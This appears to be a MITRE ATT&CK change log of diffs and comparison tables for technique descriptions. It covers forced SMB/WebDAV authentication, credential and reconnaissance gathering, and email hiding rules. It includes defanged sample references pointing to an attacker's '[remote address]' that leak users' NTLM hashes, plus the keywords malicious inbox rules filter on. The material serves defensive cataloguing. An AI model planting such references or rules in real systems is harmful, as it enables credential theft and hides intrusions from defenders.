\"old_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n\\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n+Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept that information.\\n \\n The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n \\n@@ -11,5 +11,5 @@\\n * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n \\n-Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n+Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n \"}}}",
"previous_version": "1.4",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credential material by invoking or fo | t | 1 | Adversaries may gather credential material by invoking or fo |
| > | rcing a user to automatically provide authentication informa | > | rcing a user to automatically provide authentication informa | ||
| > | tion through a mechanism in which they can intercept. The S | > | tion through a mechanism in which they can intercept that in | ||
| > | erver Message Block (SMB) protocol is commonly used in Windo | > | formation. The Server Message Block (SMB) protocol is commo | ||
| > | ws networks for authentication and communication between sys | > | nly used in Windows networks for authentication and communic | ||
| > | tems for access to resources and file sharing. When a Window | > | ation between systems for access to resources and file shari | ||
| > | s system attempts to connect to an SMB resource it will auto | > | ng. When a Windows system attempts to connect to an SMB reso | ||
| > | matically attempt to authenticate and send credential inform | > | urce it will automatically attempt to authenticate and send | ||
| > | ation for the current user to the remote system.(Citation: W | > | credential information for the current user to the remote sy | ||
| > | ikipedia Server Message Block) This behavior is typical in e | > | stem.(Citation: Wikipedia Server Message Block) This behavio | ||
| > | nterprise environments so that users do not need to enter cr | > | r is typical in enterprise environments so that users do not | ||
| > | edentials to access network resources. Web Distributed Auth | > | need to enter credentials to access network resources. Web | ||
| > | oring and Versioning (WebDAV) is also typically used by Wind | > | Distributed Authoring and Versioning (WebDAV) is also typic | ||
| > | ows systems as a backup protocol when SMB is blocked or fail | > | ally used by Windows systems as a backup protocol when SMB i | ||
| > | s. WebDAV is an extension of HTTP and will typically operate | > | s blocked or fails. WebDAV is an extension of HTTP and will | ||
| > | over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV | > | typically operate over TCP ports 80 and 443.(Citation: Didie | ||
| > | Traffic)(Citation: Microsoft Managing WebDAV Security) Adve | > | r Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDA | ||
| > | rsaries may take advantage of this behavior to gain access t | > | V Security) Adversaries may take advantage of this behavior | ||
| > | o user account hashes through forced SMB/WebDAV authenticati | > | to gain access to user account hashes through forced SMB/We | ||
| > | on. An adversary can send an attachment to a user through sp | > | bDAV authentication. An adversary can send an attachment to | ||
| > | earphishing that contains a resource link to an external ser | > | a user through spearphishing that contains a resource link t | ||
| > | ver controlled by the adversary (i.e. [Template Injection]( | > | o an external server controlled by the adversary (i.e. [Tem | ||
| > | https://attack.mitre.org/techniques/T1221)), or place a spec | > | plate Injection](https://attack.mitre.org/techniques/T1221)) | ||
| > | ially crafted file on navigation path for privileged account | > | , or place a specially crafted file on navigation path for p | ||
| > | s (e.g. .SCF file placed on desktop) or on a publicly access | > | rivileged accounts (e.g. .SCF file placed on desktop) or on | ||
| > | ible share to be accessed by victim(s). When the user's syst | > | a publicly accessible share to be accessed by victim(s). Whe | ||
| > | em accesses the untrusted resource, it will attempt authenti | > | n the user's system accesses the untrusted resource, it will | ||
| > | cation and send information, including the user's hashed cre | > | attempt authentication and send information, including the | ||
| > | dentials, over SMB to the adversary-controlled server.(Citat | > | user's hashed credentials, over SMB to the adversary-control | ||
| > | ion: GitHub Hashjacking) With access to the credential hash, | > | led server.(Citation: GitHub Hashjacking) With access to the | ||
| > | an adversary can perform off-line [Brute Force](https://att | > | credential hash, an adversary can perform off-line [Brute F | ||
| > | ack.mitre.org/techniques/T1110) cracking to gain access to p | > | orce](https://attack.mitre.org/techniques/T1110) cracking to | ||
| > | laintext credentials.(Citation: Cylance Redirect to SMB) Th | > | gain access to plaintext credentials.(Citation: Cylance Red | ||
| > | ere are several different ways this can occur.(Citation: Osa | > | irect to SMB) There are several different ways this can occ | ||
| > | nda Stealing NetNTLM Hashes) Some specifics from in-the-wild | > | ur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics | ||
| > | use include: * A spearphishing attachment containing a doc | > | from in-the-wild use include: * A spearphishing attachment | ||
| > | ument with a resource that is automatically loaded when the | > | containing a document with a resource that is automatically | ||
| > | document is opened (i.e. [Template Injection](https://attack | > | loaded when the document is opened (i.e. [Template Injectio | ||
| > | .mitre.org/techniques/T1221)). The document can include, for | > | n](https://attack.mitre.org/techniques/T1221)). The document | ||
| > | example, a request similar to <code>file[:]//[remote addres | > | can include, for example, a request similar to <code>file[: | ||
| > | s]/Normal.dotm</code> to trigger the SMB request.(Citation: | > | ]//[remote address]/Normal.dotm</code> to trigger the SMB re | ||
| > | US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file | > | quest.(Citation: US-CERT APT Energy Oct 2017) * A modified . | ||
| > | with the icon filename pointing to an external reference suc | > | LNK or .SCF file with the icon filename pointing to an exter | ||
| > | h as <code>\\\\[remote address]\\pic.png</code> that will force | > | nal reference such as <code>\\\\[remote address]\\pic.png</code | ||
| > | the system to load the resource when the icon is rendered t | > | > that will force the system to load the resource when the i | ||
| > | o repeatedly gather credentials.(Citation: US-CERT APT Energ | > | con is rendered to repeatedly gather credentials.(Citation: | ||
| > | y Oct 2017) Alternatively, by leveraging the <code>EfsRpcOp | > | US-CERT APT Energy Oct 2017) Alternatively, by leveraging t | ||
| > | enFileRaw</code> function, an adversary can send SMB request | > | he <code>EfsRpcOpenFileRaw</code> function, an adversary can | ||
| > | s to a remote system's MS-EFSRPC interface and force the vic | > | send SMB requests to a remote system's MS-EFSRPC interface | ||
| > | tim computer to initiate an authentication procedure and sha | > | and force the victim computer to initiate an authentication | ||
| > | re its authentication details. The Encrypting File System Re | > | procedure and share its authentication details. The Encrypti | ||
| > | mote Protocol (EFSRPC) is a protocol used in Windows network | > | ng File System Remote Protocol (EFSRPC) is a protocol used i | ||
| > | s for maintenance and management operations on encrypted dat | > | n Windows networks for maintenance and management operations | ||
| > | a that is stored remotely to be accessed over a network. Uti | > | on encrypted data that is stored remotely to be accessed ov | ||
| > | lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP | > | er a network. Utilization of <code>EfsRpcOpenFileRaw</code> | ||
| > | C is used to open an encrypted object on the server for back | > | function in EFSRPC is used to open an encrypted object on th | ||
| > | up or restore. Adversaries can collect this data and abuse i | > | e server for backup or restore. Adversaries can collect this | ||
| > | t as part of a NTLM relay attack to gain access to remote sy | > | data and abuse it as part of an NTLM relay attack to gain a | ||
| > | stems on the same internal network.(Citation: Rapid7)(Citati | > | ccess to remote systems on the same internal network.(Citati | ||
| > | on: GitHub) | > | on: Rapid7)(Citation: GitHub) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credentials that can be used during t | t | 1 | Adversaries may gather credentials that can be used during t |
| > | argeting. Account credentials gathered by adversaries may be | > | argeting. Account credentials gathered by adversaries may be | ||
| > | those directly associated with the target victim organizati | > | those directly associated with the target victim organizati | ||
| > | on or attempt to take advantage of the tendency for users to | > | on or attempt to take advantage of the tendency for users to | ||
| > | use the same passwords across personal and business account | > | use the same passwords across personal and business account | ||
| > | s. Adversaries may gather credentials from potential victim | > | s. Adversaries may gather credentials from potential victim | ||
| > | s in various ways, such as direct elicitation via [Phishing | > | s in various ways, such as direct elicitation via [Phishing | ||
| > | for Information](https://attack.mitre.org/techniques/T1598). | > | for Information](https://attack.mitre.org/techniques/T1598). | ||
| > | Adversaries may also compromise sites then add malicious co | > | Adversaries may also compromise sites then add malicious co | ||
| > | ntent designed to collect website authentication cookies fro | > | ntent designed to collect website authentication cookies fro | ||
| > | m visitors.(Citation: ATT ScanBox) (Citation: Register Deloi | > | m visitors.(Citation: ATT ScanBox)(Citation: Register Deloit | ||
| > | tte)(Citation: Register Uber)(Citation: Detectify Slack Toke | > | te)(Citation: Register Uber)(Citation: Detectify Slack Token | ||
| > | ns)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleH | > | s)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHo | ||
| > | og)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mul | > | g)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mult | ||
| > | ti-factor authentication (MFA) based on out-of-band communic | > | i-factor authentication (MFA) based on out-of-band communica | ||
| > | ations is in use, adversaries may compromise a service provi | > | tions is in use, adversaries may compromise a service provid | ||
| > | der to gain access to MFA codes and one-time passwords (OTP) | > | er to gain access to MFA codes and one-time passwords (OTP). | ||
| > | .(Citation: Okta Scatter Swine 2022) Credential information | > | (Citation: Okta Scatter Swine 2022) Credential information | ||
| > | may also be exposed to adversaries via leaks to online or o | > | may also be exposed to adversaries via leaks to online or ot | ||
| > | ther accessible data sets (ex: [Search Engines](https://atta | > | her accessible data sets (ex: [Search Engines](https://attac | ||
| > | ck.mitre.org/techniques/T1593/002), breach dumps, code repos | > | k.mitre.org/techniques/T1593/002), breach dumps, code reposi | ||
| > | itories, etc.). Adversaries may purchase credentials from da | > | tories, etc.). Adversaries may purchase credentials from dar | ||
| > | rk web markets, such as Russian Market and 2easy, or through | > | k web markets, such as Russian Market and 2easy, or through | ||
| > | access to Telegram channels that distribute logs from infos | > | access to Telegram channels that distribute logs from infost | ||
| > | tealer malware.(Citation: Bleeping Computer 2easy 2021)(Cita | > | ealer malware.(Citation: Bleeping Computer 2easy 2021)(Citat | ||
| > | tion: SecureWorks Infostealers 2023)(Citation: Bleeping Comp | > | ion: SecureWorks Infostealers 2023)(Citation: Bleeping Compu | ||
| > | uter Stealer Logs 2023) Gathering this information may reve | > | ter Stealer Logs 2023) Gathering this information may revea | ||
| > | al opportunities for other forms of reconnaissance (ex: [Sea | > | l opportunities for other forms of reconnaissance (ex: [Sear | ||
| > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | > | ch Open Websites/Domains](https://attack.mitre.org/technique | ||
| > | es/T1593) or [Phishing for Information](https://attack.mitre | > | s/T1593) or [Phishing for Information](https://attack.mitre. | ||
| > | .org/techniques/T1598)), establishing operational resources | > | org/techniques/T1598)), establishing operational resources ( | ||
| > | (ex: [Compromise Accounts](https://attack.mitre.org/techniqu | > | ex: [Compromise Accounts](https://attack.mitre.org/technique | ||
| > | es/T1586)), and/or initial access (ex: [External Remote Serv | > | s/T1586)), and/or initial access (ex: [External Remote Servi | ||
| > | ices](https://attack.mitre.org/techniques/T1133) or [Valid A | > | ces](https://attack.mitre.org/techniques/T1133) or [Valid Ac | ||
| > | ccounts](https://attack.mitre.org/techniques/T1078)). | > | counts](https://attack.mitre.org/techniques/T1078)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather employee names that can be used durin | t | 1 | Adversaries may gather employee names that can be used durin |
| > | g targeting. Employee names be used to derive email addresse | > | g targeting. Employee names can be used to derive email addr | ||
| > | s as well as to help guide other reconnaissance efforts and/ | > | esses as well as to help guide other reconnaissance efforts | ||
| > | or craft more-believable lures. Adversaries may easily gath | > | and/or craft more-believable lures. Adversaries may easily | ||
| > | er employee names, since they may be readily available and e | > | gather employee names, since they may be readily available a | ||
| > | xposed via online or other accessible data sets (ex: [Social | > | nd exposed via online or other accessible data sets (ex: [So | ||
| > | Media](https://attack.mitre.org/techniques/T1593/001) or [S | > | cial Media](https://attack.mitre.org/techniques/T1593/001) o | ||
| > | earch Victim-Owned Websites](https://attack.mitre.org/techni | > | r [Search Victim-Owned Websites](https://attack.mitre.org/te | ||
| > | ques/T1594)).(Citation: OPM Leak) Gathering this information | > | chniques/T1594)).(Citation: OPM Leak) Gathering this informa | ||
| > | may reveal opportunities for other forms of reconnaissance | > | tion may reveal opportunities for other forms of reconnaissa | ||
| > | (ex: [Search Open Websites/Domains](https://attack.mitre.org | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /techniques/T1593) or [Phishing for Information](https://att | > | .org/techniques/T1593) or [Phishing for Information](https:/ | ||
| > | ack.mitre.org/techniques/T1598)), establishing operational r | > | /attack.mitre.org/techniques/T1598)), establishing operation | ||
| > | esources (ex: [Compromise Accounts](https://attack.mitre.org | > | al resources (ex: [Compromise Accounts](https://attack.mitre | ||
| > | /techniques/T1586)), and/or initial access (ex: [Phishing](h | > | .org/techniques/T1586)), and/or initial access (ex: [Phishin | ||
| > | ttps://attack.mitre.org/techniques/T1566) or [Valid Accounts | > | g](https://attack.mitre.org/techniques/T1566) or [Valid Acco | ||
| > | ](https://attack.mitre.org/techniques/T1078)). | > | unts](https://attack.mitre.org/techniques/T1078)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather the victim's IP addresses that can be | t | 1 | Adversaries may gather the victim's IP addresses that can be |
| > | used during targeting. Public IP addresses may be allocated | > | used during targeting. Public IP addresses may be allocated | ||
| > | to organizations by block, or a range of sequential address | > | to organizations by block, or a range of sequential address | ||
| > | es. Information about assigned IP addresses may include a va | > | es. Information about assigned IP addresses may include a va | ||
| > | riety of details, such as which IP addresses are in use. IP | > | riety of details, such as which IP addresses are in use. IP | ||
| > | addresses may also enable an adversary to derive other detai | > | addresses may also enable an adversary to derive other detai | ||
| > | ls about a victim, such as organizational size, physical loc | > | ls about a victim, such as organizational size, physical loc | ||
| > | ation(s), Internet service provider, and or where/how their | > | ation(s), Internet service provider, and where/how their pub | ||
| > | publicly-facing infrastructure is hosted. Adversaries may g | > | licly-facing infrastructure is hosted. Adversaries may gath | ||
| > | ather this information in various ways, such as direct colle | > | er this information in various ways, such as direct collecti | ||
| > | ction actions via [Active Scanning](https://attack.mitre.org | > | on actions via [Active Scanning](https://attack.mitre.org/te | ||
| > | /techniques/T1595) or [Phishing for Information](https://att | > | chniques/T1595) or [Phishing for Information](https://attack | ||
| > | ack.mitre.org/techniques/T1598). Information about assigned | > | .mitre.org/techniques/T1598). Information about assigned IP | ||
| > | IP addresses may also be exposed to adversaries via online o | > | addresses may also be exposed to adversaries via online or o | ||
| > | r other accessible data sets (ex: [Search Open Technical Dat | > | ther accessible data sets (ex: [Search Open Technical Databa | ||
| > | abases](https://attack.mitre.org/techniques/T1596)).(Citatio | > | ses](https://attack.mitre.org/techniques/T1596)).(Citation: | ||
| > | n: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DN | > | WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) | ||
| > | S) Gathering this information may reveal opportunities for o | > | Gathering this information may reveal opportunities for othe | ||
| > | ther forms of reconnaissance (ex: [Active Scanning](https:// | > | r forms of reconnaissance (ex: [Active Scanning](https://att | ||
| > | attack.mitre.org/techniques/T1595) or [Search Open Websites/ | > | ack.mitre.org/techniques/T1595) or [Search Open Websites/Dom | ||
| > | Domains](https://attack.mitre.org/techniques/T1593)), establ | > | ains](https://attack.mitre.org/techniques/T1593)), establish | ||
| > | ishing operational resources (ex: [Acquire Infrastructure](h | > | ing operational resources (ex: [Acquire Infrastructure](http | ||
| > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | > | s://attack.mitre.org/techniques/T1583) or [Compromise Infras | ||
| > | rastructure](https://attack.mitre.org/techniques/T1584)), an | > | tructure](https://attack.mitre.org/techniques/T1584)), and/o | ||
| > | d/or initial access (ex: [External Remote Services](https:// | > | r initial access (ex: [External Remote Services](https://att | ||
| > | attack.mitre.org/techniques/T1133)). | > | ack.mitre.org/techniques/T1133)). |
New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/008",
"external_id": "T1564.008"
},
{
"source_name": "MacOS Email Rules",
"description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
"url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
},
{
"source_name": "Microsoft Mail Flow Rules 2023",
"description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
"url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
},
{
"source_name": "Microsoft Inbox Rules",
"description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
"url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
},
{
"source_name": "Microsoft New-InboxRule",
"description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
},
{
"source_name": "Microsoft Set-InboxRule",
"description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
},
{
"source_name": "Microsoft Cloud App Security",
"description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
"url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Dor Edry, Microsoft",
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Office Suite"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:03:35.406000+00:00\", \"old_value\": \"2026-08-04 20:30:53.394000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\\n\\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\\n\\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)\\n\\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\", \"old_value\": \"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\\n\\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\\n\\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\\n\\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\\n \\n-Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\\n+Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines.(Citation: Microsoft Cloud App Security)\\n \\n In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use email rules to hide inbound emails in a | t | 1 | Adversaries may use email rules to hide inbound emails in a |
| > | compromised user's mailbox. Many email clients allow users t | > | compromised user's mailbox. Many email clients allow users t | ||
| > | o create inbox rules for various email functions, including | > | o create inbox rules for various email functions, including | ||
| > | moving emails to other folders, marking emails as read, or d | > | moving emails to other folders, marking emails as read, or d | ||
| > | eleting emails. Rules may be created or modified within emai | > | eleting emails. Rules may be created or modified within emai | ||
| > | l clients or through external features such as the <code>New | > | l clients or through external features such as the <code>New | ||
| > | -InboxRule</code> or <code>Set-InboxRule</code> [PowerShell] | > | -InboxRule</code> or <code>Set-InboxRule</code> [PowerShell] | ||
| > | (https://attack.mitre.org/techniques/T1059/001) cmdlets on W | > | (https://attack.mitre.org/techniques/T1059/001) cmdlets on W | ||
| > | indows systems.(Citation: Microsoft Inbox Rules)(Citation: M | > | indows systems.(Citation: Microsoft Inbox Rules)(Citation: M | ||
| > | acOS Email Rules)(Citation: Microsoft New-InboxRule)(Citatio | > | acOS Email Rules)(Citation: Microsoft New-InboxRule)(Citatio | ||
| > | n: Microsoft Set-InboxRule) Adversaries may utilize email r | > | n: Microsoft Set-InboxRule) Adversaries may utilize email r | ||
| > | ules within a compromised user's mailbox to delete and/or mo | > | ules within a compromised user's mailbox to delete and/or mo | ||
| > | ve emails to less noticeable folders. Adversaries may do thi | > | ve emails to less noticeable folders. Adversaries may do thi | ||
| > | s to hide security alerts, C2 communication, or responses to | > | s to hide security alerts, C2 communication, or responses to | ||
| > | [Internal Spearphishing](https://attack.mitre.org/technique | > | [Internal Spearphishing](https://attack.mitre.org/technique | ||
| > | s/T1534) emails sent from the compromised account. Any user | > | s/T1534) emails sent from the compromised account. Any user | ||
| > | or administrator within the organization (or adversary with | > | or administrator within the organization (or adversary with | ||
| > | valid credentials) may be able to create rules to automatic | > | valid credentials) may be able to create rules to automatic | ||
| > | ally move or delete emails. These rules can be abused to imp | > | ally move or delete emails. These rules can be abused to imp | ||
| > | air/delay detection had the email content been immediately s | > | air/delay detection had the email content been immediately s | ||
| > | een by a user or defender. Malicious rules commonly filter o | > | een by a user or defender. Malicious rules commonly filter o | ||
| > | ut emails based on key words (such as <code>malware</code>, | > | ut emails based on key words (such as <code>malware</code>, | ||
| > | <code>suspicious</code>, <code>phish</code>, and <code>hack< | > | <code>suspicious</code>, <code>phish</code>, and <code>hack< | ||
| > | /code>) found in message bodies and subject lines. (Citation | > | /code>) found in message bodies and subject lines.(Citation: | ||
| > | : Microsoft Cloud App Security) In some environments, admin | > | Microsoft Cloud App Security) In some environments, admini | ||
